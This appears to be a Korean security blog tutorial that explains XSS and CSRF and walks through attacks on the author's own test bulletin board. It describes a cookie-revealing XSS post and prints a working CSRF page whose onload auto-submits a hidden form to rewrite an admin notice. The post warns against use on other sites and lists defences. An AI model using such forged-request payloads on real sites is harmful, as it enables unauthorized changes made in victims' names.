네트워크 관련/웹취약점진단

[XSS, CSRF] 기초와 웹페이지 공격 실습

늅이 2016. 6. 14. 15:39

읽기전에!! 주의사항!!

현재 실습환경은 직접 제작한 홈페이지 환경에서 취약점을 찾는 방식입니다. 외부 사이트가 아닌 제가 서버를 열어서 하는 실습입니다. 다른 외부 사이트에서 실습하시면 법척 처벌을 받으실 수 있으니 절대 따라하지 마세요

만약 처벌을 받게 되셔도 저는 미리 경고를 했기 때문에 저와는 무관함을 알려드립니다.

또한 이글을 읽고 실습을 따라하시는 것은 주의사항을 읽으셨다고 간주하여 본 블로거와는 관련이 없음을 말씀드립니다.

다시한번 말씀드리지만 일반 홈페이지에 절대 하지 마세요 범죄입니다.

XSS란?

Cross-site Scripting으로 공격하려는 사이트에 스크립트를 넣어 공격하는 기법입니다. 가정 기초적인 공격방법의 일종입니다.


XSS는 어떻게 쓰이는가?

사이트에 접속한 사용자는 자동으로 실행하게 되며 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰등의 민감한 정보를 탈취하게 됩니다.
쉬운 예로 들자면..
공격자가 글을 씁니다. 글내용에 스크립트 언어를 사용하여 글에 들어가는 순간 특정 페이지로 들어가게 한다던지 파일을 다운받게 한다던지 할 수 있다는 것입니다.

혼동하지마세요!

CSRF를 하기위해서 사용되어 혼동할 수 있습니다. 차이점은 XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는것이 다릅니다.


간단한 XSS 예제

시나리오는 이렇습니다. 게시자가 글을 보면 자신의 쿠키가 창으로 나오게 해보겠습니다.


먼저 글을 작성해 줍니다. 제목은 많은 사람들이 볼 수 있게 최대한 자극적으로 했습니다.

script문을 작성하는데

alert 메시지가 뜨게 합니다.

쿠키의 정보를 떠버리게 하겠습니다 라는 뜻입니다.




그럼 cookie: 쿠키정보  가 나오게 되는 것입니다.

이렇게 글을 읽는사람(Client)의 쿠키값이 나오게 됩니다.

이것을 손보게 되면..

읽는 사람의 쿠키값을 공격자에게 보내지게 되서 공격자는 글을 읽은 클라이언트들의 쿠키값을 수집할 수도 있습니다.






쿠키란?

http의 일종으로 인터넷 사용자가 웹사이트를 방문할 경우 그 사이트의 서버에서 사용자의 컴퓨터에 설치하는 작은 기록정보 파일을 말합니다.
http쿠키, 웹쿠키, 브라우저쿠키 라고도 하며, 사용자가 같은 웹사이트를 방문할 때마다 읽히고 수시로 새로운 정보도 바뀝니다.
쿠키의 특징은 소프트웨어가 이니므로 프로그램처럼 실행될 수 없으며 바이러스를 옮기거나 악성코드를 설치할 수도 없습니다. 하지만 스파이웨어를 통해 사용자의 브라우징 행동을 추적하거나, 다른사람의 쿠키를 훔쳐서 웹계정 접근권한을 획득할 수도 있습니다.

웹사이트마다 다르지만 허술한 웹사이트에서는 계정정보나 중요한 정보등을 쿠키로 담고 있는 곳도 있습니다.

방지대책은?

쿠키에 중요한 정보를 담지 않고 서버에 중요정보를 저장하는 방법이 있습니다. 또한 정보를 암호화 하는것도 또하나의 방법입니다.

XSS의 방지대책으로는
@ 가장 단순하게 스크립트를 못쓰게 하는 방법 => 하지만 현실적으로 불가능합니다.
@ 특정 패턴을 만듭니다 => 악의적인 사이트를 못들어가게 합니다.
@ html의 태그를 지정된 태그를 제외하고는 모두 막아버립니다
@ 쿠키를 저장할때 쿠키값을 랜덤으로 저장하게하거나 인증불가, 중요정보를 쿠키에 저장못하게 합니다 (제생각엔 가장 이상적인 방법 같습니다)


CSRF를 실습해 봅시다

CSRF란?

사이트간 요청 위조(Cross-Site request forgery)
사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정,삭제,등록등)를 특정 웹사이트에 요청하게하는 공격을 말한다 
출처: https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%9A%94%EC%B2%AD_%EC%9C%84%EC%A1%B0

실습 시나리오.

공격자가 관리자에게 글을 읽게해서 공지사항의 글을 공격자가 원하는대로 바꿔보겠습니다.

다시한번 말씀드리지만 직접 구축한 홈페이지를 가지고 실험하는 것입니다.

먼저 일반계정으로 로그인을 해보면 관리자가 게시글2번으로 제목을 해킹해 보라며 공지사항을 올렸습니다.



그래서 저는 관리자가 꼭 볼 수 있게 제목을 유도하여 글을 써줬습니다



코드 해석을 하기 전에 이것은 공지를 수정하는 것이기 때문에 게시글 수정의 페이지 소스를 먼저 봅니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<html>
<head>
<title>BLUEWIND 게시판 글 수정</title>
<link type="text/css" rel="stylesheet" href="all.css"/>
</head>
<body>
<center>
<table border="0" width="770">
    <tr>
    <td width="600" valign=top>
    <form action="board_update_reg.asp" method="POST">
    <table align="center" width=500 border="0">
        <tr><td colspan=2 align=center><h3>게시물 변경</h3></td></tr>
        <tr
            <td bgcolor="#80e12a" align=center width=15%>
                <font color="#495766">작성자</font>
            </td
            <td width=85%>
                <input type="text" name="user" value="test">
            </td
        </tr>
        <tr
            <td bgcolor="#80e12a" align=center width=15%>
                <font color="#495766">제 목</font>
            </td
            <td width=85%>
                <input type="text" name="title" value="ㅂㅈㄷ">
            </td
        </tr>
        <tr
            <td bgcolor="#80e12a" align=center width=15%>
                <font color="#495766">내 용</font>
            </td
            <td width=85%>
                <textarea name="contents" rows="10" cols="60">ㅂㅈㄷ</textarea>
            </td
        </tr
    </table>
    <input type="hidden" name="idx" value="133"><br>
    <p align="center">
    [<a href="board_list.asp">List</a>]
    <input type="submit" value="변경">
    <input type="reset" value="취소">
    </p>
    </form>
    </td>
    </tr>
    <tr>
        <td colspan=2 height=20></td>
    </tr>   
    <tr>
        <td colspan=2 height=1 bgcolor=#558bc7></td>
    </tr>
</table>
</br></br>
나는 kos 입니다.
</center>
</body>
</html>
 
cs

html을 배우신분이라면 자신이 값을 바꿔야 할 부분만 잘 추려내실 수 있습니다



1
2
3
4
5
6
7
    <body onload="document.form_test.submit();">
    <form name="form_test" action="board_update_reg.asp" method="POST">
        <input type="hidden" name="user" value="관리자">
        <input type="hidden" name="title" value="뿡빵이뿡빵">
        <input type="hidden" name="contents" value="뿡빵이로 바꼈어요~!기분좋아">
        <input type="hidden" name="idx" value="2">
</form>
cs

추려낸 코드는 이렇습니다. 해석을 하자면

body onload 코드를 읽는순간 form_test라는 녀석이 submit 되게 해줍니다.

form의 이름은 form_test로 해주고 엑션은 수정으로 넣어줍니다(수정처리를 board_update_reg.asp단에서 처리해주기 때문입니다)


그리고 value값에 자신이 넣고싶은 값들을 넣어줍니다

idx는 글번호로 2번이면 2번의 값이 수정되고 4로 해주면 4번글이 수정됩니다.




그리고 관리자가 게시글을 읽게 되면 제목해킹! 이였던 공지사항이



이렇게 변하게 됩니다.


내용역시 제가 넣어준 value값에 맞게 변경되었습니다.



이런식으로 이루어지는 공격방법입니다.





실습은 자기 자신이 구축한 홈페이지를 상대로 하시거나 워게임을 통해 실습하시기 바랍니다.